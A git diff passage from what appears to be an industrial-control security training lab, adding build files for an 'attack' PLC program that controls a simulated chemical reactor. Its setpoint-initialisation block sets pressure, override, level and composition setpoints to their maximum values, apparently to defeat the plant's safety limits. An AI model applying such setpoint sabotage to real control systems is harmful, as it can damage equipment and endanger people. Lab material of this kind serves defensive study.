+430;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +431;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +432;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +433;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +434;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +435;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +436;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +437;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +438;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +439;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +440;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +441;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +442;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +443;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +444;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +445;VAR;CONFIG0.RES0.INSTANCE0.ADD87_OUT;CONFIG0.RES0.INSTANCE0.ADD87_OUT;UINT; +446;VAR;CONFIG0.RES0.INSTANCE0.GE91_OUT;CONFIG0.RES0.INSTANCE0.GE91_OUT;BOOL; +447;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;BOOL; +448;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so new file mode 100755 index 0000000..584c89c --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 new file mode 100644 index 0000000..8af5f5e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +5a438746873feeb5984adb25694ca5c9 \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st new file mode 100644 index 0000000..93fa1aa --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st @@ -0,0 +1,612 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 